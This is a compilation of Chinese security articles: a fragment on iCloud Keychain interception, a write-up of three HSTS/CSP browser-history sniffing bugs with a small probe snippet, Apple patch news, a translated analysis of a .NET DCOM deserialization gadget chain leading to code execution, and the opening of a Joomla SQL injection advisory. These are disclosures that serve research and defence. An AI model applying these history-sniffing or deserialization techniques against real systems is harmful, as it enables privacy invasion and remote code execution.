考虑到OTR在实现加密时采用的是临时密钥,所以这个漏洞也就意味着攻击者在接收秘密信息时不用再去进行OTR会话协商了。虽然攻击者无法利用这个漏洞加入到“signedsyncing circle”之中,但他们可以冒充circle内的任何一个节点,并且在钥匙串对象同步的过程中拦截钥匙串数据。

4.png

篇尾语

我个人认为,我们应该重新审视一下密码的安全性问题了。在过去的几年里,很多在事件应急响应团队或政府执法部门工作的技术人员已经见过了很多由密码重用所带来的密码安全问题,但攻击者现在的技术已经不仅仅是通过钓鱼网站来窃取密码这么简单了,因此保障密码的安全才会变得如此的重要。但是我们应该注意一点,由于未来可能出现的安全风险是我们无法预料到的,而根据目前的情况来看,密码也许已经不是我们保护敏感数据时的首选方案了。

更新:就在不久之前我们被告知,我们已经得到了在2017年BlackHat黑客大会上讨论“iCloud钥匙串窃取”这一主题的机会,希望感兴趣的同学能够及时关注。

* 参考来源:medium, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM0day

利用HSTS嗅探浏览器历史纪录的三个漏洞

*本文原创作者:tocttou,本文属FreeBuf原创奖励计划,未经许可禁止转载

HSTS是让浏览器强制使用HTTPS访问网站的一项安全策略。HSTS的设计初衷是缓解中间人攻击带来的风险。本文主要介绍HSTS及其他Web功能带来的一些隐私问题,比如如何利用它们来探测浏览器的用户历史纪录。

一、背景:什么是HSTS

HSTS的英文全称是HTTP Strict Transport Security,中文译作HTTP严格传输安全。2012年11月IETF发布RFC 6797,在这篇文档中正式定义了HSTS。HSTS的开启方式是在HTTP响应头中加入Strict-Transport-Security字段。如:Strict-Transport-Security: max-age=31536000 。这意味着在接下来的31536000秒内(1年),当浏览器需要访问同一个域名时,必须使用HTTPS,并且用户不可以忽略证书错误警告。使用HSTS避免了一系列的中间人攻击问题,比如HTTPS剥离攻击 [1]、HTTPS Cookie注入攻击 [2]等。

设置HTTP响应头的方法虽然可以规避大量的中间人攻击,但是用户的第一次访问仍然是不受HSTS保护的。于是诞生了浏览器预置HSTS列表。网站站长可以主动向Chrome团队提交自己的域名。批准后,各主流浏览器厂商(不只是Chrome)会在编译新版浏览器时将你的域名硬编码进内置HSTS列表中。

现在已经有越来越多的网站开启了HSTS,比如Google、百度、支付宝等。根据trustworthyinternet.org 发布的SSL Pulse报告显示,截至2017年5月,有11.8%的网站支持HSTS [3]。最新版的主流浏览器也都支持HSTS,比如Chrome、Edge、IE 11、Firefox、Opera、Safari等。

二、漏洞一:利用端口号和<img>标签探测历史纪录

上一节所述的都是HSTS好的一方面,下面来说HSTS导致的问题。第一个漏洞是我和Vlad Tsyrklevich在2014年独立发现的 [4][5]。简单来说,如果www.example.com开启了HSTS,如果用户没有访问过它,那么http://www.example.com:443/favicon1.ico一定会访问失败。如果访问过,那么HSTS会使浏览器请求https://www.example.com:443/favicon1.ico,这样就会成功(如果不存在favicon1.ico这个图片的话,就任选一个这个域名下其他图片地址)。所以我们用<img src="http://www.example.com:443/favicon1.ico" onerror="not_visited()" onload="visited()">,如果onerror被调用就说明没有访问过www.example.com,如果onload被调用就说明访问过。

这个方法有一定的限制,比如被测试的域名必须要使用HSTS,并且不能在HSTS预置列表中。而且只能判断一个域名是否访问过,而无法测试整个URL是否被访问过。

这个漏洞我报给了Chromium团队,报告和完整PoC可参见 [4]。我的建议是禁止http协议使用443端口。但是由于这样会给WebSocket造成兼容性问题,并且这个漏洞影响小,所以他们最终决定不修复这个漏洞。

网站可以把自己的域名提交到HSTS预置列表来规避这个漏洞。用户可以通过清空历史纪录避免这个漏洞,因为清空历史记录会同时清空动态设定的HSTS记录。

三、漏洞二:Sniffly — 利用HSTS和CSP探测历史纪录

这个漏洞是由雅虎的安全工程师Yan Zhu于2015年发现的。她在Toorcon 2015会议上讲述了这个漏洞(演讲视频参见[6],幻灯片参见[7]),并把这个漏洞命名为Sniffly。Freebuf之前也有一篇文章《Sniffly: 利用HSTS和CSP嗅探浏览器历史记录》[8],就是写这个漏洞的。

这个漏洞利用CSP(内容安全策略)来阻止https协议的图片,而同时允许http协议。这个CSP是这样设置的:Content-Security-Policy: img-src http://*。这样如果有一个http到https的重定向,那么这个CSP将在这个重定向发生之后,阻止https请求,并调用onerror handler。攻击者可以使用JavaScript来测从http请求发出到https被阻止之间的时间间隔,这个时间间隔就是重定向所需时间。如果这个时间很短(小于10毫秒),那么我们可以认为浏览器没有向服务器发送任何请求,也就是说这个重定向来源于HSTS或者是缓存的301重定向。这样我们就知道用户曾经访问过这个域名。

这个漏洞很快地在Chrome中修复了,漏洞编号是CVE-2016-1617。修复方法是:如果CSP中指定了http://*,则它同时允许http和https协议。这样就没法用这个方法屏蔽http到https的重定向。Yan Zhu给Chrome提交的漏洞报告和PoC可参见 [9]。

四、漏洞三:利用HSTS、CSP和端口号探测历史记录

这个漏洞是我在2016年,看完漏洞二的细节后想出来的绕过方法。首先我们看Google对漏洞二的修复代码 [10]:

补丁在WebKit/Source/core/frame/csp/CSPSource.cpp文件中的CSPSource::schemeMatches函数中加入了下面4行代码:

if (equalIgnoringCase(m_scheme, "http"))
    return equalIgnoringCase(url.protocol(), "http") || equalIgnoringCase(url.protocol(), "https");
if (equalIgnoringCase(m_scheme, "ws"))
    return equalIgnoringCase(url.protocol(), "ws") || equalIgnoringCase(url.protocol(), "wss");

这个代码的意思就是当CSP中的协议是http时,url的协议是http或https都能成功匹配。ws是WebSocket协议,同样CSP中指定的ws协议可以同时匹配ws和wss。

很显然这个修复只考虑了URL中的协议部分,所以我想到利用漏洞一中的技巧,我们在CSP中显式指定端口号,就绕过了修复。

比如,我们设置这个CSP策略:img-src http://example.com:80。漏洞二修复之后,这个CSP会允许http://example.com:80https://example.com:80,但是后一个URL并没有意义,因为https不用80端口,而真正的https://example.com依然被阻止,因为https的端口号不匹配”:80”。有了这个思路之后,剩下的利用方法就和漏洞二一样了,也是测http到https的重定向时间。

这个漏洞同时存在于Chrome、Firefox、WebKit。但Edge、IE不存在这个漏洞。Edge是在https请求返回之后才调用onerror,所以Edge中无法计算重定向时间。

给Chrome的报告和PoC在[11],给Mozilla的报告在[12],给WebKit的报告在[13]。他们都早已修复完毕。漏洞编号是CVE-2016-5137(Chrome)和CVE-2016-9017(Firefox)。Google还给了我1000美元奖金。

五、总结

这篇文章主要介绍了什么是HSTS以及和HSTS相关的三个漏洞。这三个漏洞影响都不大,但是我写出来主要为了分享,如何灵活运用端口号这个技巧来绕过相关限制。HSTS其实还能当Cookie用,也是HSTS带来的隐私问题,鉴于和本文关系不大,就不涉及了,想了解的话可参见[14]。

六、参考文献

*本文原创作者:tocttou,本文属FreeBuf原创奖励计划,未经许可禁止转载0day

【国际资讯】苹果并非刀枪不入,近日发布多个补丁修复安全漏洞

作者:360代码卫士

http://p3.qhimg.com/t01182d1f5916f2b032.png

翻译:360代码卫士

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

当Windows用户都在担心操作系统遭受想哭勒索蠕虫劫持时,苹果用户还在高枕无忧地认为恶意软件的攻击奈何不了他们。但实际并非如此,苹果产品也并非刀枪不入,一本电子书就能黑掉Mac、iPhone和iPad。

周一,苹果为iOS、macOS、Safari、tvOS、iCloud、iTunes和watchOS发布软件更新,修复了共69个安全漏洞,其中很多漏洞都可被用于在受影响系统上执行远程代码。

http://p0.qhimg.com/t01d7d76727b24408f6.png

其中包含多个漏洞为pwn2own竞赛时,多家厂商参赛时使用的漏洞。关于pwn2own的相关资讯,可以点击:http://bobao.360.cn/news/detail/4067.html查看。

iPhone、iPad和iPod:iOS 10.3.2


苹果的iPhone、iPad和iPod Touch移动操作系统iOS 10.3.2解决了41个安全缺陷,其中23个缺陷存在于WebKit中,包括17个远程代码执行漏洞和5个跨站脚本漏洞。

此外,iOS 10.3.2还解决了iOS版本的iBook中的两个漏洞 (CVE-2017-2497和CVE-2017-6981),该漏洞如被利用可导致通过电子书打开任意网站并以根权限执行恶意代码。

iOS 10.3.2解决的问题还包括AVE视频编码中的一个内存损坏问题,它可导致恶意应用程序获取内核级别的权限;还解决了旨在处理不受信任证书的证书信任策略中的证书验证问题。

苹果用户可将iOS设备连接到iTunes或直接下载安装iOS 10.3.2解决这些问题。

El Capitan和Yosemite:macOS Sierra 10.12.5


苹果的Mac操作系统macOS Sierra 10.12.5共解决了37个漏洞,包括iBook中可导致以根权限执行任意代码的几个漏洞以及另外一个能导致应用程序逃逸安全沙箱的问题。

另外解决的问题还包括能窃取网络凭证的无线网络问题、因特尔和恩威迪亚 (Nvidia) 显卡驱动中的权限升级问题以及SOLite中的四个任意代码执行缺陷。

Mac用户可通过苹果应用商店→更新路径下载更新,或者macOS Sierra用户将Sierra 10.12.5作为单独更新下载,OS X EI Captain用户可从此处下载,OS X Yosemite用户点此下载。

http://p8.qhimg.com/t01f7baebc4bee25fc9.jpg

苹果浏览器:Safari 10.1.1


Safari 10.1.1解决了26个安全问题,其中23个存在于WebKit中;并且很多问题已在iOS 10.3.2中修复。其余的三个问题在Safari浏览器中修复。用户可手动下载Safari 10.1.1更新。

苹果手表:watchOS 3.2.2


苹果手表用户应该安装修复了12个安全漏洞的watchOS 3.2.2。攻击者可利用其中的四个漏洞在受影响设备中执行远程代码。苹果手表用户可将手表连接至充电器并在iPhone手机上打开苹果手表app→我的手表选项卡→通用→软件更新下载watchOS 3.2.2。

苹果电视:tvOS 10.2.1


苹果公司还发布了tvOS 10.2.1解决了23个问题,其中12个漏洞存在于WebKit引擎中,能让攻击者在目标设备上执行跨站脚本攻击和远程代码执行攻击。tvOS 10.2.1更新可直接从苹果电视上下载(设置→系统→更新软件)。

Windows:iTunes 12.6.1和iCloud 6.2.1


同时,苹果公司还为使用iTunes和iCloud的Windows用户发布了补丁。iTunes 12.6.1和iCloud 6.2.1都修复了Windows 7及之后版本中的一个远程代码执行漏洞。

建议苹果用户尽快更新苹果产品和Safari的所有操作系统,以防遭受犯罪分子攻击。自动更新也可应用补丁。


本文转载自 thehackernews.com
原文链接:http://thehackernews.com/2017/05/apple-security-patches.html0day

【技术分享】如何利用.NET托管的DCOM实现权限提升

作者:华为未然实验室

http://p4.qhimg.com/t0142cbc0d3e6bb76c8.jpg

翻译:华为未然实验室

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言


影响互操作技术的漏洞是一类较为有趣的安全漏洞,这是因为这些漏洞通常会影响使用该技术的任何应用程序,无论应用程序实际执行什么操作。同样,在很多情况下,开发人员难以在不使用该技术的情况下推出缓解措施,但有时候却做不到。

我发现.NET的组件对象模型(COM)互操作性层存在此类漏洞,这使.NET跨权限边界用于分布式COM(DCOM)本质上是不安全的。本文将描述一些可对此进行滥用的方法,首先是获得提升的权限,然后是一个远程代码执行漏洞。

背景知识


回顾.NET的历史可以知道,很多其早期基础是试图制作一个更好的COM版本。这使微软很注重确保,虽然.NET本身可能不是COM,但其必须能够与COM互操作。因此,.NET可以用于实现和使用COM对象。比如,不用在COM对象上调用QueryInterface,你只需要将对象投射到兼容COM的接口上。以C#实现进程外COM服务器很简单,如下所示:

http://p8.qhimg.com/t0152c99dc5093c0796.png

客户端现在可使用其CLSID(由COMClass上的Guid属性定义)连接到COM服务器。实际上这很简单,因为.NET中的大量核心类被标记为COM可见,并注册为任何COM客户端(即使未以.NET编写)可用。

http://p2.qhimg.com/t010305b1c58f20a221.png

为了使这一切都有效,.NET运行时向开发人员隐藏了大量的样板。有几种机制可影响此样板互操作性代码,比如InterfaceType属性,其定义COM接口是源自IUnknown还是IDispatch,但大多数情况下,你得到的是所给予的。

开发人员可能没有意识到的一点是,不仅是您指定的接口从.NET COM对象导出,运行时还会添加一些“管理”接口。这些接口通过将.NET对象包装在COM可调用包装器(CCW)中来实现。

http://p6.qhimg.com/t01661492df1c6ec819.png

我们可以枚举CCW所暴露的接口。以System.Object为例,下表展示了支持的接口及每个接口实现的方式(在运行时动态实现或在运行时内部静态实现)。

http://p4.qhimg.com/t019edf30a117d97b38.png

_Object接口指的是System.Object类的COM可见表示,其是所有.NET对象的根,其必须动态生成,因为其依赖于被暴露的.NET对象。另一方面,IManagedObject由运行时本身实现,且实现在所有CCW中共享。

我从2013年开始关注.NET暴露的COM攻击面,彼时我正在研究IE沙箱逃逸。您可以在沙箱之外访问的COM对象之一是.NET?ClickOnce部署代理(DFSVC),其原来是以.NET实现,这可能并不足为奇。我实际上发现了两个问题,不是在DFSVC本身,而是在由所有.NET COM对象暴露的_Object接口。_Object接口如下所示(以C++)。

http://p6.qhimg.com/t018d60c93c77550a2e.png

第一个bug(导致CVE-2014-0257)在于GetType方法。该方法返回一个可用于访问.NET反射API的COM对象。由于返回的_Type COM对象正在服务器中运行,所以您可以调用一系列方法,从而可访问Process.Start方法,您可以调用该方法实现沙箱逃逸。如欲了解更多细节,请查看我编写并放在Github上的PoC。微软通过阻止通过DCOM访问反射API解决了此问题。

第二个问题更微妙,是.NET互操作特性(大概没有人认为是安全隐患)的副产品。加载.NET运行时需要相当多的额外资源,因此,对于本机COM客户端调用.NET COM服务器上的方法,默认是让COM和CCW管理通信,即使这样有损性能。微软可以选择使用COM封送器强制.NET在客户端加载,但这样似乎有点过头,更别说客户端甚至可能没有安装兼容的.NET版本了。

当.NET与COM对象交互时,其会创建反向CCW——运行时可调用包装器(RCW)。这是一个.NET对象,其实现COM接口的运行时版本,并将其编组到COM对象。现在COM对象完全有可能实际上是用.NET编写的,甚至可能在相同的应用程序域中。如果.NET无所作为,可能对性能造成双倍影响,在RCW中编组,以调用一个COM对象,这实际上是一个托管对象的CCW。

http://p7.qhimg.com/t01a678b3204ee7a9df.png

尝试从CCW“展开”托管对象并获取一个真正的.NET对象是很好的。这是这段中的淘气鬼使坏的地方,IManagedObject接口,如下所示:

http://p7.qhimg.com/t018ac1a5846d6299e2.png

当.NET运行时获得一个COM对象时,其将通过一个过程来确定其是否可以从其CCW“展开”对象,并避免创建一个RCW。该过程被记录,但总而言之,运行时将执行以下操作:

1.?调用COM对象上的QueryInterface来确定其是否实现IManagedObject接口。如果没有,则返回合适的RCW。

2.?调用接口上的GetObjectIdentity。如果GUID与每次运行时GUID(在运行时启动时生成)匹配,且AppDomain ID与当前的AppDomain ID匹配,则在运行时表中查找CCW值,并提取指向真实管理对象的指针并将其返回。

3.?调用接口上的GetSerializedBuffer。运行时将检查.NET对象是否可序列化,如果可以,则其将对象传递给BinaryFormatter :: Serialize,并将结果打包到二进制字符串(BSTR)中。这将返回给客户端,客户端现在将尝试通过调用BinaryFormatter :: Deserialize将缓冲区反序列化到对象实例。

第2和3步似乎都是坏主意。比如,在第2步中时,每运行时GUID不能被猜到,如果您可以访问同一进程中的任何其他对象(例如由服务器本身暴露的COM对象),则您可以调用对象上的GetObjectIdentity,并将GUID和AppDomain ID重播回服务器。这并没有给您带来太多好处,CCW值只是一个数字不是一个指针,所以,你最多能提取已经有CCW的对象。

相反,真正棘手的是第3步。无论什么语言(比如Java、PHP、Ruby,等等),任意反序列化都是危险的,.NET亦不例外。显然这是我们可以利用的一个问题,我们先从权限提升角度看一看。

提升权限


我们如何让以.NET编写的COM服务器进行任意反序列化?我们需要服务器尝试为通过COM暴露的可序列化.NET对象创建RCW。如果一般而言可以做到这一点的话是很好的,就是这么凑巧,在标准_Object接口上存在一个我们可以传递任何对象的函数,Equals方法。Equals的目的是比较两个对象的等同性。如果我们将.NET COM对象传递给服务器的Equals方法,则运行时必须尝试将其转换为RCW,以便托管实现可以使用它。在这一点上,运行时需要有所帮助,并检查其是否真的是一个CCW包装的.NET对象。服务器运行时调用GetSerializedBuffer,导致服务器进程中的任意反序列化。

这是我第二次利用ClickOnce部署代理(导致CVE-2014-4073)。利用这一点的技巧是将序列化的Hashtable发送到包含IHashCodeProvider接口的COM实现的服务器。当Hashtable运行其自定义反序列化代码时,其需要重建其内部散列结构,其通过在每个密钥上调用IHashCodeProvider :: GetHashCode来实现。通过添加一个可序列化的Delegate对象,作为其中一个密钥,我们将把它传递给客户端。通过以本地代码编写客户端,通过IManagedObject的自动序列化将不会在将委托传回给我们时发生。委托对象卡在服务器进程内,但CCW暴露给我们,我们可以调用。调用委托会导致在服务器上下文中执行指定的函数,这样我们能以服务器权限启动新进程。因为这一般都有效,所以我还编写了一个工具来为任何.NET COM服务器完成此工作,请见github

http://p8.qhimg.com/t01c3f0e524eff92f61.png

微软本可以通过更改IManagedObject :: GetSerializedBuffer的行为来修复CVE-2014-4073,但是没有。相反,微软以本机代码重写了代理。还发布了一篇博客文章,警告开发人员.NET DCOM的危险。然而,他们并没有弃用任何API以在.NET中注册DCOM对象,因此除非开发人员的安全意识极高,并且碰巧阅读了微软的安全博客,否则他们可能不会意识到这是一个问题。

这类bug到今天一直存在,比如,当我最近收到一个新的工作笔记本电脑时,我做了我通常会做的事情,枚举安装了什么OEM“增值”软件,看看是否有什么可以利用。结果表明,作为音频驱动程序包的一部分安装了由杜比编写的COM服务。经过几分钟的检查,基本上枚举COM服务器的可访问接口,我发现其是用.NET编写的(IManagedObject的存在总是一个大的赠品)。我启动了我的利用工具,在不到5分钟的时间内,实现了在本地系统中的代码执行。现在已作为CVE-2017-7293被修复。由于.NET DCOM基本上不安全,杜比唯一可以做的是以本地代码重写服务。

攻击Caller


找到IManagedObject bug类的一个新实例让我开始关注其其他影响。首先要强调的是,服务器本身并无漏洞,只有当我们能强制服务器充当回调攻击应用程序的DCOM客户端时,该漏洞才能被利用。通过托管COM互操作调用DCOM对象的任何.NET应用程序都应该有类似的问题,而不仅仅是服务器。DCOM可能有什么常见的用例,特别是在现代企业环境中?

我首先想到的是Windows Management Instrumentation(WMI)。现代版本的Windows可以使用WS-Management(WSMAN)协议连接到远程WMI实例,但由于遗留原因,WMI仍然支持DCOM传输。WMI的一个用例是扫描企业机器是否有恶意行为。这种复苏的原因之一是Powershell(在.NET中实现)具有易于使用的WMI支持。如果PS或者.NET尝试访问网络中受影响的工作站,那么或许PS或.NET本身容易受到此种攻击?

http://p0.qhimg.com/t01cc58505102b434a1.png

查看MSDN后可知,.NET通过System.Management命名空间支持WMI。这从.NET的开始就一直存在。其支持对WMI的远程访问,考虑到类的年代,其先于WSMAN,因此几乎可以肯定在后台使用DCOM。在PS前端,通过诸如Get-WmiObject之类的cmdlet支持WMI。PS版本3(在Windows 8和Server 2008中引入)添加了一组新的cmdlet,包括Get-CimInstance。阅读相关链接可知,引入CIM cmdlet、支持WSMAN的原因显而易见,并且链接明确指出“旧”WMI cmdlet使用DCOM。

WMI cmdlets:

优点:相比WsMan Cmdlets提供更好的任务抽象,输出是一个.NET对象

缺点:使用非标准DCOM协议,不适用于非Windows

在这一点上,我们可以直接进入.NET和PS类库的RE,但有一个更简单的方法。通过观察到WMI服务器的DCOM RPC流量,可能能够看到.NET客户端是否查询IManagedObject。Wireshark已经有一个DCOM解析器,为我们节省了很多麻烦。出于测试目的,我设置了两个虚拟机,一个是用Windows Server 2016(作为域控制器),另一个是用Windows 10(作为域上的客户端)。然后我从客户端的域管理员发出一个简单的WMI PS命令‘Get-WmiObject Win32_Process -ComputerName dc.network.local’,?同时使用Wireshark监控网络。以下图片显示了我观察到的内容:

http://p7.qhimg.com/t01baf73ec7922d1d04.png

屏幕截图显示了来自PS客户端(192.168.56.102)的DC服务器上WMI DCOM对象(192.168.56.50)的初始创建请求。我们可以看到其在查询IWbemLoginClientID接口,这是初始化过程的一部分(如MS-WMI中所述)。然后,客户端尝试请求其他几个接口;?尤其是其请求IManagedObject。这几乎肯定表明使用PS WMI cmdlet的客户端是有漏洞的。

为了测试这是否真的是一个漏洞,我们需要一个假的WMI服务器。似乎这是一个很大的挑战,但是我们需要做的就是修改winmgmt服务的注册,以指向我们的假实现。只要该服务随后用CLSID {8BC3F05E-D86B-11D0-A075-00C04FB68820}注册一个COM类,COM启动器将启动服务,并为任何客户端提供我们的假WMI对象的实例。回顾我们的网络捕获,结果是对IManagedObject的查询没有发生在主类上,而是在从IWbemLevel1Login :: NTLMLogin返回的IWbemServices对象上。但是没关系,其只是添加了一些额外的样板代码。为了确保其有效,我们将实现以下代码,其将告诉反序列化代码来查找一个名为Badgers的未知程序集。

http://p9.qhimg.com/t01a9e3b863b1c063e0.png

如果我们成功注入序列化流,那么我们可以预期PS进程尝试查找Badgers.dll文件,并使用我们发现的Process Monitor。

http://p2.qhimg.com/t01d153964344671280.png

链接解串器


当利用反序列化实现本地权限提升时,我们可以确保我们可以连接到服务器并运行任意代理。在RCE案例中我们没有这样的保证。如果WMI客户端启用了默认Windows防火墙规则,那么我们几乎肯定无法连接到委托对象所做的RPC端点。我们还需要被允许通过网络登录到运行WMI客户端的机器,我们的受攻击机器可能无法登录到域,或者企业策略可能会阻止除所有者外的任何人登录到客户端机器。

因此,我们需要一个稍微不同的计划,不是通过暴露一个新的委托对象来主动攻击客户端,相反,我们将给它传递一个字节流(反序列化时会执行所需的操作)。在理想的世界中,我们会发现一个可以为我们执行任意代码的可序列化类。可悲的是(据我所知)没有这样的类存在。因此,我们需要找到一系列“Gadget”类,这些类链接在一起可执行所需的效果。

所以在这种情况下,我倾向于编写一些快速分析工具,.NET支持相当不错的反射API,因此找到基本信息(比如一个类是否可序列化或一个类支持哪个接口)很容易做到。我们还需要一个要检查的程序集的列表,我知道的最快的方法是使用作为.NET SDK一部分安装的gacutil实用程序(并随Visual Studio一起安装)。运行命令gacutil / l> assemblies.txt来创建可以加载和处理的程序集名称列表。对于第一遍,我们将寻找可序列化且其中有委托的任何类,这些可能是执行操作时执行任意代码的类。使用我们的程序集列表,我们可以编写一些如下所示的简单代码来找到这些类,为每个程序集名称字符串调用FindSerializableTypes:

http://p8.qhimg.com/t01bc95ae6671a102cd.png

在我的系统中,该分析只产生了大约20个类,其中许多类实际上是在不分布在默认安装中的F#库中。但一个类确实引起了我的注意——System.Collections.Generic.ComparisonComparer<T>。您可以在参考源中找到该实现,但其很简单,全貌如下:

http://p1.qhimg.com/t0125e320576e7aebe1.png

这个类包装了一个Comparison<T>委托——使用两个通用参数(相同类型),并返回一个整数,调用委托来实现IComparer <T>接口。虽然类是内部的,但其创建通过Comparer<T>::Create静态方法暴露。这是链的第一部分,通过这个类和一些序列化代理的推拿,我们可以将IComparer<T>::Compare链接到Process::Start,并获得创建的任意进程。现在我们需要链的下一部分,用任意的参数来调用该比较器对象。

比较器对象在通用.NET集合类中被大量使用,许多这些集合类也有自定义反序列化代码。在这种情况下,我们可以滥用SortedSet <T>类,反序列化使用内部比较器对象重建其集合以确定排序顺序。传递给比较器的值是集合中的条目,这完全在我们的控制之下。我们来写一些测试代码来检查其是否和我们预期的一样有效:

http://p1.qhimg.com/t01b20c487c2539e8a5.png

有关这个代码唯一奇怪的是TypeConfuseDelegate。这是一个长期存在的问题,.NET代理并不总是强制执行其类型签名,特别是返回值。在这种情况下,我们创建一个两个条目的多播代理(按顺序运行多个单个代理的委托),将一个委托设置为返回一个int的String :: Compare,将另一个设置为返回Process类实例的Process::Start。即使在反序列化和调用两种单独的方法时这也有效。然后其将返回创建的作为整数的进程对象,这意味着其会将指针返回到进程对象的实例。所以我们最终得到如下链条:

http://p6.qhimg.com/t012f1b9720bdfd38cf.png

虽然这是一个非常简单的链,但它有一些问题,因此对于我们的用途其不太理想:

1. Comparer <T> :: Create方法和相应的类仅在.NET 4.5中引入,涵盖Windows 8及更高版本,但不涵盖Windows 7。

2.?漏洞利用部分依赖于代理的返回值的类型混淆。虽然其只是将Process对象转换为一个整数,但这有点不太理想,可能会有意想不到的副作用。

3.?启动一个流程略显嘈杂,从内存加载我们的代码更好。

所以我们需要找到更好的东西。我们需要一些至少在.NET 3.5上有效的东西,这是Windows 7上Windows Update会自动更新到的版本。此外,其不应该依赖于未定义的行为或从DCOM通道外部加载我们的代码,例如通过HTTP连接。这对我似乎是个挑战。

改善链条


在查看可序列化的其他一些类时,我在System.Workflow.ComponentModel.Serialization命名空间中注意到了一些。该命名空间包含属于Windows Workflow Foundation的一部分的类,其是用于构建执行管道以执行一系列任务的一组库。这一点有点意思,事实证明,我之前利用过核心功能——作为Windows Powershell中代码完整性的一个绕过。

这使我找到了ObjectSerializedRef类。这看起来很像一个将反序列化任何对象类型的类。而不仅仅是序列化的。如果是这样的话,那么这是一个用于建立功能更强大的反序列化链的非常强大的原语。

http://p7.qhimg.com/t01207f958842eacbe9.png

查看实现后可知,该类被用作通过ActivitiySurrogateSelector类暴露的序列化替代。这是.NET序列化API的一个特性,您可以在序列化过程中指定“代理选择器”,其将用代理类替换对象。当流反序列化时,此代理类包含足够的信息来重建原始对象。一个用例是处理非可序列化类的序列化,但是ObjectSerializedRef超出了特定的用例,并允许您反序列化任何内容。按顺序进行的测试:

http://p3.qhimg.com/t01c996233cd51a9a12.png

ObjectSurrogate类似乎没任何问题。这个类完全毁灭了确保不可信的BinaryFormatter流的任何希望,其可以从.NET 3.0获得。任何没有标记为可序列化的类现在都是目标。在反序列化过程中调用一个任意委托很简单,因为开发人员不会做任何事情来防范这种攻击方式。

现在选择一个目标来建立我们的反序列化链。我本可以选择进一步探讨Workflow类,但是API是可怕的(实际上在.NET 4中,微软用一个新的、稍微更好一些的API代替了旧的)。相反,我会选择一个非常易于使用的目标,语言集成查询(LINQ)。

LINQ作为核心语言特性在.NET 3.5中引入。一种类似于SQL的新语法引入了C#和VB编译器,以跨可枚举对象执行查询,比如列表或字典。基于长度过滤名称列表并返回大写列表的语法示例如下:

http://p7.qhimg.com/t016dcb59577655cad2.png

您也可以不将LINQ视作查询语法,而是视作在.NET中执行列表推导的一种方法。将“select”视为等同于“map”,将“where”?视为等同于“filter”可能更有意义。查询语法下是在System.Linq.Enumerable类中实现的一系列方法。您可以使用正常的C#语法而不是查询语言编写,如果这样做,则前面的例子变成如下所示:

http://p6.qhimg.com/t01051b5a0be8ece915.png

方法(如Where)需要两个参数、一个列表对象(这在上面的例子中是隐藏的)及一个委托来调用枚举列表中的每个条目。委托通常由应用程序提供,但是没有什么可以阻止您使用系统方法替换委托。要记住的重要事情是在枚举列表之前不会调用委托。这意味着我们可以使用LINQ方法构建一个枚举列表,使用ObjectSurrogate进行序列化(LINQ类本身不是可序列化的),然后,如果我们能强制反序列化列表被枚举,其将执行任意代码。

使用LINQ作为原语,我们可以创建一个列表,当枚举时,该列表按以下顺序将字节数组映射到该字节数组中的一个类型的实例:

http://p6.qhimg.com/t01887b12a9b04fe4c1.png

唯一棘手的部分是第2步,我们想提取一个特定的类型,但我们唯一真正的选择是使用Enumerable.Join方法,这需要投机取巧才能使其有效。一个更好的选择是使用Enumerable.Zip,但这只在.NET 4中引入。所以,我们将获取加载的程序集中的所有类型,并全部创建,如果我们只有一个类型,那么这不会有什么区别。以C#实现是怎样的?

http://p1.qhimg.com/t015c5b5aa393834f4f.png

C#实现中唯一不明显的部分是Assembly :: GetTypes的委托。我们需要的是一个接受一个Assembly对象并返回一个Type对象的列表的委托。然而,由于GetTypes是一个实例方法,默认是捕获Assembly类并将其存储在委托对象内,这将导致一个不接收参数并返回一个Type列表的委托。我们可以通过使用反射API为实例成员创建一个开放委托来解决这个问题。一个开放的委托不存储对象实例,而是将其作为额外的Assembly参数公开,这正是我们想要的。

使用我们的枚举列表,我们可以让程序集加载及让我们自己的代码执行,但是我们如何枚举列表启动链?为此,我尝试找到一个当调用ToString(一个很常见的方法)时会枚举列表的类。这在Java中很简单,几乎所有的集合类都有这个确切的行为。可悲的是,似乎.NET在这方面与Java不同。所以我修改了我的分析工具,以尝试寻找可以帮我们达到目的的小工具。长话短说,我通过三个单独的类发现了一个从ToString到IEnumerable的链。该链如下所示:

http://p2.qhimg.com/t01b6619ff9b9572bad.png

我们完成了吗?还没有,还差一步,我们需要在反序列化期间调用任意对象上的ToString。当然,如果我不是已经有一个方法来完成,我不会选择ToString。在这最后一个案例中,我会回到滥用Hashtable。在Hashtable类的反序列化期间,其将重建其密钥集,我们对此已有了解,因为这是我利用本地EoP的序列化的方法。如果两个密钥相同,则反序列化将会失败,Hashtable会抛出异常,导致运行以下代码:

http://p7.qhimg.com/t01817f4c0e26dbcd5c.png

该密钥被传递到值数组中的GetResourceString,以及对资源字符串的引用。资源字符串以及传递到String.Format的密钥被查找。生成的资源字符串具有格式化代码,因此当String.Format遇到非字符串值时,其调用对象上的ToString将其格式化。这导致在反序列化期间调用ToString,从而会踢掉事件链,从而引发我们从内存中加载任意.NET组件并在WMI客户端的上下文中执行代码。

http://p7.qhimg.com/t01b7c9449826759527.png

您可以查看我添加到问题跟踪器的最新PoC中的最终实现。

结论


微软通过确保System.Management类从不直接为WMI对象创建RCW修复了RCE(远程代码执行)问题。但是,此修复程序不会影响.NET中任何其他DCOM的使用,因此特权.NET DCOM服务器仍然存在漏洞,其他远程DCOM应用程序也可能受到攻击。

此外,这应该是一个教训,切勿使用.NET BinaryFormatter类反序列化不受信任的数据。无论如何这样做也是危险的,但开发人员似乎放弃了制作安全的可序列化类的任何希望。ObjectSurrogate的存在实际上意味着,运行时中的每个类都是可序列化的,无论原始开发人员希望与否。

最后一个想法,您应该始终对中间件的安全性实施持怀疑态度,尤其是当您不能检查其所作所为时。IManagedObject的问题是与生俱来的,难以移除,所以正确修复很难。


本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://googleprojectzero.blogspot.tw/2017/04/exploiting-net-managed-dcom.html0day

【漏洞预警】Joomla!3.7.0 Core SQL注入漏洞

前言


Joomla!是世界上最受欢迎的内容管理系统(CMS)解决方案之一。它可以让用户自定义构建网站实现强大的在线应用程序。据不完全统计互联网上超过3%的网站运行Joomla!,同时它占有全球9%以上的CMS市场份额。

截止至2016年11月,Joomla!的总下载量超过7800万次。目前Joomla!官方还提供了超过7800个扩展插件(含免费、收费插件)及其他的可用资源可供下载。

漏洞描述


漏洞等级:严重

漏洞类型:sql 注入

利用难度:简单

利用方式:远程

